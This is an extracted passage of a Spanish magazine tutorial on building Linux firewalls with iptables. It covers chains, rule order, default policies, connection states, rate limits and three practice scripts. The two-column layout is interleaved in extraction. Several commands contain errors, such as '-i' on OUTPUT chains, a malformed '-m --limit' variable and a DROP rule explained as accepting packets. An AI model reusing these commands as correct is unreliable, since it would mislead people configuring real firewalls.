                                                                  red o de salida.... joer que follón.... y los que se reenvían
   emisor

 PC PASO A PASO Nº 23                                                                                                      Página 45
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




de una tarjeta de red a otra dentro del propio cortafuegos,
¿que son?... ¿de salida para una y de entrada para la otra?,
ya ves... lo que te dije al principio, si no cazamos el
concepto, será muy difícil aplicar las reglas positivamente.

Bien, veámoslo con un ejemplo visual... el cortafuegos está
implementado en la máquina 172.28.0.200 y desde el
equipo 172.28.0.50 le hacemos un ping...

                                                                Como ves en la pantalla anterior, primero se enviaron y
                                                                recibieron los pings correctamente, luego tras incluir la
                                                                regla en IPTables, no hay respuesta...

                                                                A ver que pasó con nuestro tcpdump



Bien.. parece que funciona el filtro INPUT, pero a ver que
ocurrió en el cortafuegos...




                                                                Ufff, esto es para nota... resulta que los paquetes
                                                                aparentemente salen del cortafuegos (no hay regla OUTPUT)
El equipo que pone toshiba es el de la ip 172.28.0.50...
                                                                pero cuando regresa el echo-reply (como es un paquete
que se me olvido el –n con el tcpdump... para las próximas
                                                                INPUT) lo filtra y falla el comando ping, pero realmente
me acordaré...
                                                                los paquetes salieron y entraron de la tarjeta de red y no
Bueno, algunas respuestas tenemos... ARP entra y sale           sólo los pings, también otro como udp, arp.... aunque se
como pedro por su casa en el cortafuegos, luego eso de          “ven” los echo reply y los echo request, en la pantalla del
que no se comunica con nadie... no es cierto.                   ping no se recibían....entonces... ¿qué ocurre.?

Si observas la tercera entrada, la tarjeta de red del           Pues muy simple, HAY QUE PENSAR COMO EL
cortafuegos recibe un eco del ping (echo request) pero          CORTAFUEGOS y NO como la tarjeta de red.
lo filtra, es decir, es como si primero entrase el la tarjeta
de red, luego lo procesa el cortafuegos y como tiene una        Se me ocurre otra cosa... y si en lugar de aplicar la tabla
regla que filtra los paquetes IP entrantes, los bloquea,        INPUT aplicamos la regla a la tabla OUTPUT, veamos así:
desecha y no recibimos respuesta alguna.
                                                                Aplicamos la regla y hacemos un ping con cinco intentos...
O sea, que el filtro INPUT NO ES lo que ENTRA en la             nos sale un mensaje que indica que eso no está permitido
tarjeta de red del cortafuegos.... como tenemos que
pensar como un cortafuegos, INPUT aplicará las reglas
que es que ENTRAN en el cortafuegos,

Veamos qué pasa cuando es el propio cortafuegos el que
efectúa el ping.... primero lo haremos sin indicar nada a
IPTables y luego con la regla que nos ocupa...

 Página 46                                                                                        PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




¿Y qué pasó en el esnifer? NADA                              ¿por qué? Porque en las reglas de INPUT, obligamos al
                                                             cortafuegos a comprobar con su tabla de reglas TODOS
                                                             los paquetes aunque estos no tengan que aplicarse, es
                                                             decir, le cargamos con un trabajo innecesario puesto que
                                                             puede haber paquetes que deban traspasar el cortafuegos
                                                             y sin embargo le obligamos a comprobarlos, en resumen,
                                                             más trabajo para hacer lo mismo, más ciclos de
                                                             procesador, mayor consumo de memoria y más gasto
¿Y si con esta regla enviamos un ping desde la otra          de recursos en general.
máquina que no es el cortafuegos?
                                                             Realmente esta paradoja la podremos solventar con
                                                             IPTables cuando aprendamos que también se pueden
                                                             aplicar las reglas sobre una tarjeta de red en concreto, ya
                                                             sean de entrada o de salida, entonces haremos más
                                                             e f e c t i va s l a s r e g l a s , a e s p e ra r u n p o q u i t o. . .

                                                             ¿Y eso de que deben aplicarse cuanto más cerca del
                                                             origen mejor?, ¿no lo entiendo?
Vaya, lo mismo... veamos qué pasó a tcpdump en el
cortafuegos....                                              Pues muy sencillo, imagina un cortafuegos con dos tarjetas
                                                             de red, uno para conectar la red protegida a Internet y
                                                             otro para la propia red interna, para hacerlo más fácil,
                                                             imagina tu router, tiene una interfaz WAN xDSL para salir
                                                             a Internet y otra ethernet para tu red interna.

                                                             Si aplicamos las reglas de filtrado a los paquetes que
                                                             provienen de Internet en la interfaz ethernet, los
                                                             bloquearemos, pero hemos dejado pasar ese paquete de
Vaya, vaya... esto está mejor... seguimos teniendo el        datos hasta la red interna, hubiera sido mejor aplicar los
asunto del ARP, pero parece que efectivamente hace lo        filtros necesarios en la interfaz WAN, si desde allí se
que queremos, al ser un filtro OUTPUT, los paquetes entran   rechazan, tendremos mayor seguridad en la red interna
pero no salen....                                            puesto que NUNCA llegarán a la misma.

Todo esto que parece un lío padre, es MUY IMPORTANTE,        Por otra parte, no hemos solucionado o respondido a la
que lo entiendas bien, de esto desprendemos:                 pregunta de ¿qué pasa si hay más reglas? Y ¿dónde
                                                             se añaden?
     La misma regla la podemos aplicar a la tabla INPUT      Bien, las reglas se aplican de arriba abajo,
   u OUTPUT y aunque aparentemente obtenemos el              secuencialmente, de tal forma que las reglas que permitan
   mismo resultado, desde el punto de vista de la tarjeta    el paso de un paquete ceden el control a las que vengan
   de red, no es igual.                                      más abajo, mientras que las reglas que rechacen un
     Los paquetes ARP no pertenecen al conjunto de           paquete no pasan el control a las siguientes, por ejemplo,
   protocolos IP                                             imagina esto:
     “parece ser” que es mejor utilizar reglas OUTPUT
                                                             iptables –A INPUT –p ip –j DROP
¿Dónde son más efectivas las reglas?                         iptables –A INPUT –p ip –j ACCEPT

Hay quien defiende que, es más productivo implementar        La segunda regla aceptará cualquier paquete de datos
filtros de salida que de entrada y cuanto más cerca          entrante al cortafuegos, pero no se procesará puesto que
del origen estén, mejor.                                     antes hay otra que le dice justamente lo contrario.

 PC PASO A PASO Nº 23                                                                                                  Página 47
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




Sin embargo, esto:                                                que tendremos que utilizar INPUT en lugar de
                                                                  OUTPUT, lo importante ahora es que hayas cogido “el
iptables –A INPUT –p ip –j ACCEPT                                 concepto”
iptables –A INPUT –p ip –j DROP
iptables –A INPUT –p ip –j REJECT                                   Es conveniente eliminar las tablas anteriores
                                                                  y reglas previas usando iptables –X e iptables –F
No tiene ningún sentido, puesto que se aceptan todos los          y esa “conveniencia” será una obligación si queremos
paquetes, luego se desechan, después se rechazan, nunca           empezar de cero...
pasaría a la segunda regla, sería lo mismo que haber
incluido la primera únicamente.                                Sigamos con el resto de opciones y características... ahora
                                                               se me plantea una duda.... ¿Te pongo la vida y obra de
La opción –A es Append (añadir al final) por lo que si no      cada opción, protocolo, sintaxis, parámetros, determinantes,
eliminamos las reglas y/o tablas anteriores no serán           etc.. o lo hacemos mediante un ejemplo y al final te cuento
efectivas.                                                     el resto de posibilidades que no contemple el ejemplo?

Cuando se construye un conjunto de tablas y reglas con         Práctica 1. Mi primer Firewall
IPTables, lo normal es escribirlas en un fichero de texto
y luego ejecutarlo como un script, porque si queremos          Bien, esto... vale... llamémoslo Firewall
modificar es muy engorroso y en ocasiones no acertaremos
en la inserción, ni que decir tiene que si no nos apoyásemos   Se trata de lo siguiente, Construir un cortafuegos que
en el script tendríamos que “re-escribir” todas las reglas     bloquee todo el tráfico TCP y UDP a todos los equipos
de nuevo, eso es una pelmada aunque dispongamos del            excepto a la IP 172.28.0.50.... pero eso sí... esa IP podrá
historial de últimos comandos.                                 acceder al puerto telnet de la máquina que protege el
                                                               cortafuegos, y además, sí estará permitido el tráfico de
Para eliminar las reglas y las tablas definidas, se usa        cualquier tipo de la interfaz loopback.
la opción –F y/ó –X junto con el comando IPTables, por
                                                               Dicho de otro modo, todo el mundo puede enviar pings
el momento no te preocupes de ello, piensa que ANTES de
                                                               y otros tipos de tráfico ICMP pero nadie excepto la máquina
empezar a definir un nuevo sistema de cortafuegos, primero
                                                               con IP 172.28.0.50 puede hacer telnet al host., igualmente,
hay que teclear los comandos
                                                               nadie, ni tan siquiera la máquina 172.28.0.50 puede
                                                               acceder por UDP y se permite cualquier tráfico de loopback
   Iptables –X
                                                               en el mismo cortafuegos y/o servidor telnet.
   Iptables –F
                                                               El escenario es:
Resumiendo :
                                                               Red Interna: 172.28.0.0/16
     Para utilizar las reglas y filtros debemos ponernos       Cortafuegos y Servidor Telnet: 172.28.0.200
   en el papel del cortafuegos                                 Paso 1º) Borrar tablas y cadenas anteriores

     Hay que determinar dónde serán más efectivas                 iptables –F
   las reglas, como INPUT o en OUTPUT para no gastar              iptables –X
   tantos recursos, sin embargo en la sabia combinación
                                                               Diferencias entre –F y –X
   de reglas entre INPUT y OUTPUT dotaremos a nuestro
   cortafuegos de una gran potencia y capacidad.               -F se utiliza para vaciar una cadena, es eliminar las
                                                               reglas que contiene una cadena
     Es conveniente filtrar tan cerca como sea posible         -X se utiliza para eliminar una cadena de usuario y
   de la red externa o de las redes en las que no confiamos    no se puede utilizar –X con las cadenas y tablas
     Y ahora “la excepción”, esto no quiere decir que no       predefinidas (INPUT, OUTPUT, FORWARD, PREROUTING
   se deban o puedan aplicarse reglas en la tabla INPUT,       Y POSTROUTING) y tampoco podrás eliminar la cadena
   ni que no sean efectivas, ya veremos más adelante           definida por el usuario si contiene alguna regla.


 Página 48                                                                                        PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




Recuerda la filosofía de IPTables
                                                                      !            La creación...
     Las reglas contienen los parámetros y el comportamiento
   que debe tener el cortafuegos                                     La creación de cadenas definidas por el usuario las veremos
                                                                     en el siguiente ejemplo de cortafuegos.
      Las cadenas contienen reglas, hay cadenas
   “predefinidas” por IPTables y pueden existir otras
   cadenas definidas por el usuario                               Paso 2º) Poner a cero los contadores de paquetes
                                                                  de una cadena
     Las tablas (filter, nat y mangle) contienen cadenas
                                                                     iptables –Z
   predefinidas y/o de usuario.

La sintaxis para usar –X o –F es igual en ambas                   Los contadores muestran el número de paquetes y los
                                                                  bytes que ha procesado una cadena y sus reglas asociadas,
iptables –t tabla –F cadena
                                                                  es útil para auditar y obtener estadísticas de los
iptables –t tabla –X cadena
                                                                  filtros establecidos.
Si no se indica el nombre de la tabla, se asume que
afectará a la tabla filter, si queremos que se aplique a          La sintaxis del comando es
otra tabla que no sea filter será obligatorio indicar el nombre
de la misma, esto es aplicable a todo lo que digamos de              iptables –t tabla –Z cadena
iptables
                                                                  Como antes, si no se indica –t tabla se asume filter
Es importante respetar el uso de mayúsculas y                     y si no se incluye la cadena se asume que son TODAS las
minúsculas, esto también es aplicable a todo el conjunto          cadenas, por tanto el comando iptables –Z realmente
de reglas, tablas, cadenas y opciones de IPTables.                pondría a cero los contadores de las cadenas de la
                                                                  tabla filter, pero no de nat ni de mangle
Otros Ejemplos:
                                                                  Más ejemplos:
iptables –t filter –F INPUT sería lo mismo que iptables
–F INPUT y vaciaría las reglas de la cadena INPUT en la           iptables –t nat –Z, puesta a cero de todas las cadenas
tabla filter                                                      de la tabla nat

iptables –t nat –F PREROUTING , vacía las reglas de la            iptables –t filter –Z OUTPUT, sería lo mismo que iptables
tabla nat y cadena PREROUTING                                     –Z OUTPUT y pondría a cero los contadores de la tabla
                                                                  filter para la cadena OUTPUT.
iptables –t filter –F IP_baneadas, vacía las reglas de
la cadena de usuario IP_baneadas, si la cadena no está
                                                                  Pregunta: ¿será necesario este paso?
previamente creada, dará un error.

iptables –X IP_baneadas, elimina la cadena de usuario             Pues NO, porque si previamente ya hemos borrado TODAS
de la tabla filter (observa que no se indicó –t filter), si la    las reglas y TODAS las cadenas de usuario, los contadores
cadena IP_baneadas contiene alguna regla, provocará un            ya están a cero, pero tenía que contar lo de las estadísticas
error.

iptables –X INPUT, provocará un error porque no se
                                                                  Paso 3º) Aceptamos todos los paquetes entrantes,
pueden eliminar las cadenas predefinidas
                                                                  salientes y de reenvío
Por tanto, si usamos iptables –F vaciaremos TODAS
las tablas, tanto las predefinidas como las de usuario y             iptables –P INPUT ACCEPT
al usar iptables –X ELIMINAMOS TODAS las cadenas                     iptables –P OUTPUT ACCEPT
de usuario.                                                          iptables –P FORWARD ACCEPT


 PC PASO A PASO Nº 23                                                                                                Página 49
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




A esta operación se le denomina establecer la directiva                    También podríamos usar ! eth0, que sería la que NO SEAN
predeterminada                                                             eth0

Recuerda bien esto, si usamos ACCEPT como directiva                        -j ACCEPT, esto hay quien les llama dianas de IPtables,
predeterminada tendremos que negar explícitamente el                       no es más que la acción a ejecutar por la regla, en este
tráfico que no queramos dejar salir o entrar, si usamos                    caso aceptar los paquetes.
DROP en lugar de ACCEPT tendremos que aceptar
explícitamente el tráfico que queramos que entre o salga.                  Las dianas o acciones admitidas son:

Un cortafuegos restrictivo utilizaría DROP como                            ACCEPT-DROP-REJECT-LOG, que son admitidas por
directiva predeterminada, de ese modo, todo aquello que                    todas las tablas
no haya sido explícitamente permitido se bloqueará, dicho
de otro modo, si no existen reglas que contengan ACCEPT                    RETURN, para las cadenas definidas por el usuario
o si existen pero no se cumplen, el tráfico se desecha “por
defecto”                                                                   DNAT-MASQ-REDIRECT-SNAT, para la tabla nat

La sintaxis completa del comando sería:                                    MARK-MIRROR-QUEUE-TOS-TTL-ULOG, que no son
                                                                           muy usadas pero que alguna aplicación les buscaremos
    iptables –P cadena directiva

Las directivas posibles son las acciones a ejecutar,                       Las dianas de NAT las abordaremos en el próximo
ACCEPT, REJECT o DROP (aceptar, rechazar o                                 artículo,
desechar) y sólo tendrán directivas las cadenas de la
tabla filter, o sea, que si hacemos:                                       Por el momento nos quedamos con:

   iptables –P prueba                                                      ACCEPT, acepta los paquetes de la cadena

Y la cadena prueba pertenece a la tabla nat o mangle,                      DROP, desecha los paquetes sin informar al origen
tendremos un bonito error.
                                                                           REJECT, descarta los paquetes e informa al origen
Paso 4º) Aceptar todo el tráfico que proceda de la
interfaz loopback                                                          LOG, registra un suceso en un servidor syslog, lo veremos
                                                                           en próximos artículos.
   iptables –A INPUT –i lo –j ACCEPT
                                                                           RETURN, que regresa a la regla posterior tras haber
Mmm, muchas cosas….
                                                                           procesado una cadena de usuario, lo veremos más adelante
                                                                           en este mismo artículo
Primero –A, esto añade la regla AL FINAL de las que
existan.
                                                                           MIRROR, hay que usarla con cuidado porque puede causar
                                                                           problemas en la red, lo que hace es cambiar el orden en
Si quisiéramos insertarla al principio o “entre medias”
                                                                           las IP’s origen y destino para los paquetes TCP y/o UDP
u t i l i z a r e m o s – I , e s t o l o ve r e m o s m á s t a r d e .
                                                                           y después se retransmite el paquete modificado, o sea,
                                                                           que “rebotamos” el paquete.... dicho “a lo bestia” alguien
INPUT, la cadena a utilizar... entrada...
                                                                           nos envía un paquete no deseado y se lo devolvemos tal
-i lo, simboliza la interfaz de loopback, para hacer                       cual.... o un exploit
referencia a la interfaz ethernet usaremos eth0, eth1,
eth2.... o si queremos hacer referencia a todas las                        TOS, sólo se usa con la tabla mangle y permite cambiar
interfaces ethernet podemos usar eth+                                      el Tipo de Servicio


 Página 50                                                                                                   PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




TTL, modifica el tiempo de vida de un paquete IP.                                 Si queremos excluir una red o una IP usaremos
                                                                                  el signo de admiración ! Antes de la IP o red
Las otras... como si no existieran...
                                                                                  Ejemplos:
Además REJECT, LOG, TTL y las dianas de NAT tienen
opciones específicas, excepto para nat, al final te pondré                        iptables –A INPUT –i eth0 –s ! 172.28.0.0/16 –p tcp --dport 25 –j ACCEPT
algunos ejemplos.                                                                 iptables –A OUTPUT –i eth0 –d ! 195.235.96.90 –p udp --dport 53 –j DROP


Paso 5º) Permitir el tráfico ICMP de cualquier origen
                                                                                       !                Nota acerca del...
Esto realmente no tendría ni por qué incluirse, puesto que
si se permiten todos no hace falta regla.. pero bueno, hay                             Nota acerca del signo de admiración... utiliza espacios
que explicar la sintaxis...                                                            ANTES y DESPUÉS del signo, en caso contrario LiNUX
                                                                                       interpretaría que quieres ejecutar algún comando o llamadas
    iptables –A INPUT –i eth0 –p icmp –j ACCEPT                                        a la shell y tendrás un error.

Más que nada comentar que –p icmp identifica al protocolo,
otros protocolos válidos para la opción –p son: udp, tcp                          Podemos usar los siguientes parámetros adicionales
que a su vez pueden contener otras opciones como puerto                           tanto para tcp como para udp:
origen, flag, puerto destino, indicadores tcp, opciones
de tcp... en las próximas reglas las veremos...                                   --sport puerto, Establece el puerto origen
                                                                                  --dport puerto, Establede el puerto destino
En cuanto al protocolo icmp podemos asignar las opciones                          -m multiport [lista de puertos] --source-port,
de tipo y código y hasta responder con diferentes                                 establece múltiples puertos origen
mensajes... cuando usemos icmp con dianas REJECT te lo
                                                                                  -m multiport [lista de puertos] --destination-
explicaré, por el momento nos sirve aprender esto de –p
                                                                                  port, establece múltiples puertos origen
protocolo

                                                                                  Ejemplos:
Paso 6º) Permitir las conexiones TELNET cuya
IP origen sea 172.28.0.50                                                         iptables –A INPUT –i eth0 –p tcp --dport 25 –j ACCEPT
                                                                                  iptables –A OUTPUT –i eth0 –p tcp –m multiport --source-port 21,25,110 –j ACCEPT
iptables –A INPUT –i eth0 –s 172.28.0.50 –p tcp --dport 23 –j ACCEPT

                                                                                  También tenemos algunos exclusivos para tcp:
-s representa a la IP o red origen, si queremos
aplicar el filtro a toda una red usaremos la forma:
                                                                                  --syn, que se utiliza para representar el indicador
IP/mascara ó IP 255.xxx.xxx.xxx, sería lo mismo,
                                                                                  SYN y que las señales ACK y FIN no están
por ejemplo si quisiéramos que toda la red 172.28.0.0
                                                                                  establecidas, es decir, para asegurarnos que se trata
pueda acceder al puerto destino 80, escribiríamos:
                                                                                  de una nueva conexión.
iptables –A INPUT –i eth0 –s 172.28.0.0/16 –p tcp --dport 80 –j ACCEPT
                                                                                  --tcp-flags [señales], que pueden ser SYN, ACK,
O también                                                                         FIN, RST, PSH, URG o una combinación de ellas,
                                                                                  utiliza dos parámetros, el primero una lista de señales
iptables –A INPUT –i eth0 –s 172.28.0.0 255.255.0.0 –p tcp --dport 80 –j ACCEPT   separadas por una coma y el segundo la señal que
                                                                                  debe estar activada, por ejemplo.
Igualmente podemos utilizar reglas para la IP destino
o red destino, esto se consigue utilizando el                                     --tcp-flags SYN, ACK, FIN SYN esto quiere decir
parámetro –d seguido de la red o IP en cuestión.                                  que se comprobarán los indicadores SYN, ACK y FIN,


  PC PASO A PASO Nº 23                                                                                                                           Página 51
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




y requiere que de éstos, sólo esté establecido el           ACCEPT
indicador SYN                                               iptables –A INPUT –I eth0 –p tcp –j DROP
                                                            iptables –A OUTPUT –i eth0 –p tcp –j REJECT
Incluso hay determinantes para establecer el estado
de las opciones de TCP, SACK, TCP Window Size,              ¿qué pasará?
NULL, TIMESTAMP... estas no las comentaré ahora,
que ya está bien...                                         Pues que no habrá comunicación, ni por el puerto
                                                            80 destino (--dport 80) ni por ninguno, pero no por
Lo que SI te recomiendo es repasar el curso de              la línea de DROP, sino por la última, es OTRA
TCP/IP que se está desarrollando para entender bien         CADENA que descarta TODO el tráfico TCP
esto de las señales flags y puertos... también en los       saliente, entrar, entra... pero NO SALDRÁ
artículos de snort hicimos varias incursiones a TCP
y por supuesto, en el Taller que celebramos en los          ¿Y si quitamos la última línea?
foros de hackxcrack, no obstante sería de interés que
dispusieras de las tablas de los formatos de datagrama      Pues habrá comunicación... pero SOLO POR EL
TCP, UDP, TCP... los puedes conseguir en:                   PUERTO 80, puesto que aunque hay otra regla que
                                                            bloquea todo el tráfico TCP, las conexiones por el
http://www.forohxc.com/Docs/fw/ipt/tablas.pdf               puerto 80 destino se permitieron antes y ambas
                                                            pertenecen a la misma cadena, INPUT en este caso...
Paso 7º) Denegar el resto del tráfico TCP y UDP
a todo el mundo                                             Esto trae consigo otra advertencia... hay que
                                                            guardar especial cuidado con los paquetes que se
iptables –A INPUT –i eth0 –p tcp --syn –j DROP              bloquean y con los paquetes que se permiten, más
iptables –A INPUT –I eth0 –p udp –j DROP                    concretamente con el orden de las reglas dentro
                                                            de una misma cadena...
Estas no creo que hagan falta explicarlas después de
todo lo dicho... sólo una cosa....                          ¿Qué pasaría si se hubiese escrito así?

Igual ahora no lo entiendes... pero.... hay que tener       iptables –F
cuidado y comprender bien como funcionan.. parece           iptables –X
sencillo (y lo es) pero hay que hacer notar algo            iptables –P INPUT ACCEPT
importante de ACCEPT                                        iptables –P OUTPUT ACCEPT
                                                            iptables –P FORWARD ACCEPT
ACCEPT, acepta el paquete para esa cadena...                iptables –A INPUT –I eth0 –p tcp –j DROP
pero si existe otra cadena que bloquee el paquete de        iptables –A INPUT –i eth0 –p tcp –dport 80 –j
datos NO PASARÁ y repito y lo resalto: si existe            ACCEPT
otra cadena con reglas de bloqueo
                                                            Pues que NO entrarán paquetes con destino al
¿Crees que lo entiendes? Pues responde a esto:              puerto 80 de TCP, ni por ninguno... porque se
                                                            rechazan TODOS antes de aceptar los permitidos.
iptables   –F
iptables   –X                                               Es decir, DROP y REJECT bloquean los paquetes de
iptables   –P INPUT ACCEPT                                  datos y no se procesarán ACCEPT posteriores
iptables   –P OUTPUT ACCEPT                                 para la cadena utilizada ni para otras cadenas,
iptables   –P FORWARD ACCEPT                                mientras que ACCEPT los acepta pero continúa
iptables   –A INPUT –i eth0 –p tcp --dport 80 –j            procesando las reglas de otras cadenas.

 Página 52                                                                                   PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




Bueno, pues nuestros comandos, ahora todos juntos           Algo fundamental en cualquier cortafuegos:
serían:
                                                            EL ESTADO DE LA CONEXIÓN
iptables –F
iptables –X                                                 Se puede comprobar si un paquete está asociado
iptables –Z                                                 con una conexión mediante –m state --state
iptables –P INPUT ACCEPT
iptables –P OUTPUT ACCEPT                                   Ya... muy bueno... y esto para qué sirve....
iptables –P FORWARD ACCEPT
iptables –A INPUT –i lo –j ACCEPT                           Bien, ya dijimos que IPTables es un firewall de
iptables –A INPUT –i eth0 –p icmp –j ACCEPT                 inspección de paquetes con estado, esto es, que
iptables –A INPUT –i eth0 –s 172.28.0.50 –p                 “sigue” las sesiones entre los host de la red que se
tcp --dport 23 –j ACCEPT                                    comunican a través o con el cortafuegos y “conoce”
iptables –A INPUT –i eth0 –p tcp --syn –j DROP              si una comunicación es parte de otra o relacionada
iptables –A INPUT –I eth0 –p udp –j DROP                    con otra...

                                                            Así que disponemos de cuatro posibles estados
¿Y dónde pongo esto?                                        en las conexiones:

Pues lo puedes poner directamente en la línea de            NEW: Son conexiones nuevas desde o hacia el
terminal escribiendo los comandos uno a uno... o            cortafuegos, son conexiones que todavía no han
también... creándote un archivo de texto y dándole          intercambiado paquetes, es decir pensando en TCP...
permisos de ejecución, por ejemplo, si lo guardamos         son conexiones SYN
en un archivo que se llame iptfw1, le cambiamos
los permisos mediante chmod +x ./ipfw1 y lo                 ESTABLISHED: Son conexiones ya establecidas,
ejecutamos mediante ./iptfw1                                que ya intercambiaron paquetes anteriormente

Esto es más cómodo ya que si nos equivocamos o              RELATED: Es una conexión nueva relacionada con
nos da errores, o las reglas no funcionan como              otra que ya fue establecida... por ejemplo, imagina
esperábamos, siempre podremos editar el archivo y           una comunicación establecida y que precisa de un
no tener que teclear de nuevo todos los comandos...         nuevo puerto o nuevo servicio para seguir con ella,
                                                            esa nueva comunicación sería RELATED, ejemplo
Bueno, iptables también tiene un editor por línea           más claro un FTP, dispone de una conexión de control
de comandos, utilizando las opciones –I, -E, -L,            y o t ra d e d a t o s . . . . a m b a s r e l a c i o n a d a s .
-v , -D y alguna otra más... pero es más complicado
                                                            INVALID: Pues eso, inválidas, bien por problemas
y son ganas de perder el tiempo en algo que es tan
                                                            en la comunicación, pérdida de paquetes, errores
sencillo como editar el archivo, modificarlo, guardarlo
                                                            checksum, cabeceras incorrectas....
y volverlo a ejecutar, ni comento las posibilidades de
edición.                                                    Con estos estados podemos hacer muchas cosas...
                                                            por ejemplo, nuestro segundo firewall
Bien, antes de construir un cortafuegos “en
condiciones” vamos a explicar algunas opciones MUY          Práctica 2. Mi segundo Firewall
importantes en la construcción de reglas y algo de
shell script que necesitaremos para el desarrollo del       Queremos construir un cortafuegos MUY restrictivo
mismo.                                                      que permita sólo el tráfico de salida a Internet por
                                                            el puerto 80 y bloquee TODO el tráfico entrante.

 PC PASO A PASO Nº 23                                                                                           Página 53
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




iptables –F                                                           Otra de los estados de conexión interesantes de cara
iptables –X                                                           al cortafuegos es:
iptables –Z
iptables –P INPUT DROP                                                LIMITE DE FRECUENCIA
iptables –P OUTPUT DROP
                                                                      Este parámetro nos permite especificar el número
iptables –P FORWARD DROP                                              de veces que una regla es cotejada con resultado
iptables –A INPUT –m state --state INVALID –j                         positivo en un tiempo dado
DROP
iptables –A INPUT –m state --state                                    Los ejemplos más claros los encontraremos en
ESTABLISHED, RELATED –j ACCEPT                                        cortafuegos que detectan inundaciones syn, flooding
iptables –A OUTPUT –m state --state                                   o denegaciones de servicios, para esto es muy
ESTABLISHED, RELATED –j ACCEPT                                        recomendado este parámetro.
iptables –A OUTPUT –m state --state NEW –p                            Podemos usar dos indicadores:
tcp --dport 80 –j ACCEPT
                                                                      --limit: Que especifica la frecuencia máxima permitida
Como se trata de un firewall restrictivo, usamos                      y si no se indica se asume 3 paquetes por hora.
DROP como directiva predeterminada, así que todo
                                                                      --limit-burst: permite que una ráfaga de paquetes
lo que no esté aceptado explícitamente se
                                                                      sea examinada con la regla antes que se aplique el
rechazará...
                                                                      límite de velocidad indicado en --limit

En la cadena INPUT , rechazamos las conexiones                        Los espacios de tiempo pueden ser: second, minute,
inválidas y aceptamos aquellas que entren pero que                    hour, day (segundos, minutos, horas, días)
hayan sido previamente establecidas o relacionadas.
                                                                      Por ejemplo:
En la cadena OUTPUT permitimos salir las conexiones                   iptables –A INPUT –m limit --limit 7/second --limit-burst 15 –j DROP
establecidas o relacionadas y en la última línea
dejamos salir aquellas conexiones que vayan dirigidas                 Este comando establece un umbral para aceptar
                                                                      hasta 15 paquetes SYN, a partir de ese momento y
al puerto 80.
                                                                      hasta que se recargue la regla, no se aceptarán más
                                                                      de 7 SYN por segundo, todos aquellos que sobrepasen
Observa que cuando esa regla se cumpla, las
                                                                      esa cadencia de tiempo serán desechados.
comunicaciones siguientes ya no serán NEW, sino
ESTABLISHED o RELATED, y se les aplicarán la regla                    No todos los servidores tienen el mismo rendimiento,
anterior.                                                             es posible que el límite y el umbral establecidos no
                                                                      sean adecuados, hay que revisar los logs y verificar
También hay que resaltar que todo el tráfico ICMP                     que no se estén desechando paquetes indebidamente
será rechazado (entrante y saliente) y lo mismo                       y luego modificar el límite, el umbral o ambos.
ocurrirá con el tráfico UDP, por lo que no estría de
                                                                      Otra de las características interesantes de IPTables
más añadir esta otra regla:                                           es el uso de cadenas definidas por el usuario y
                                                                      variables.
iptables –A OUTPUT –m state --state NEW –p udp --dport 53 –j ACCEPT

                                                                      Cadenas Definidas por el usuario y variables
 Así podremos facilitar la comunicación con los
servidores DNS de nuestros proveedores de Internet                    Con esto podemos ajustar o personalizar el
y contar con sus servicios.                                           cortafuegos, hacerlo más accesible y transportable,
                                                                      más escalable... bueno al final de este artículo lo
                                                                      entenderás mejor... ahora sólo pondremos un ejemplo.


  Página 54                                                                                                   PC PASO A PASO Nº 23
Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II) - Firewall (II)




Para crear una cadena de usuario se utiliza iptables
–N nombre_de_la_cadena                                      # REGLAS DE REGISTRO PARA LOS PAQUETES
                                                            DESECHADOS
Y luego se pueden añadir las reglas mediante iptables       $IPT –A BASURA –j LOG –log-prefix “IPT
–A nombre_de_la_cadena ..... como si se tratase             Desechos: “ $registra_logs
de las cadenas INPUT u OUTPUT de los ejemplos que           $IPT –A BASURA –j DROP
hemos visto.
                                                            #REGLAS PARA PAQUETES ENTRANTES
Las variables se declaran y definen mediante                $IPT –A ENTRADA $flood –j BASURA
nombre_variable=”valor”                                     $IPT –A ENTRADA –m state --state INVALID –j
                                                            DROP
Y luego se pueden utilizar                mediante:         $IPT –A ENTRADA –m state --state
$nombre_de_la_variable                                      ESTABLISHED, RELATED –j ACCEPT


Práctica 3. TERCER CORTAFUEGOS                              #REGLAS PARA PAQUETES SALIENTES
                                                            $IPT –A SALIDA –m state --state ESTABLISHED,
Bueno, no hay mucho de nuevo, es la misma base              RELATED –j ACCEPT
de la práctica segunda, pero usando variables, cadenas      $IPT –A SALIDA –m state --state NEW –p tcp
de usuario y registro de paquetes desechados en             --dport $TCP –j ACCEPT
SysLog.                                                     $IPT –A SALIDA –m state --state NEW –p udp
                                                            --dport $UDP –j ACCEPT
Te pongo el código todo completo y luego comentamos
por partes:                                                 #REGLAS PARA CADENAS PREDEFINIDAS
                                                            INTEGRADAS
# VARIABLES DE USUARIO                                      $IPT –A INPUT  –j ENTRADA
IPT=”/sbin/iptables”                                        $IPT –A INPUT  –j BASURA
flood=”-m --limit 5/second --limit-burst 10”                $IPT –A OUTPUT –j SALIDA
TCP=”80”                                                    $IPT –A OUTPUT –j BASURA
UDP=”53”
registra_logs=”--log-level=3 –m limit --limit               Como ya sabrás, las líneas que comienzan por el
1/second --limit-burst=10”                                  signo #, son comentarios y no se procesan por el
                                                            servicio IPTables.
# ELIMINACION DE TABLAS, CADENAS Y
DIRECTIVA PREDETERMINADA                                    Lo primero que encontramos es “la sección” de
$IPT –F                                                     variables, se asignan sus valores y más tarde cuando
$IPT –X                                                     se usen bastará con hacerlas referencia mediante
$IPT –Z                                                     $nombre, observa que asignamos el valor
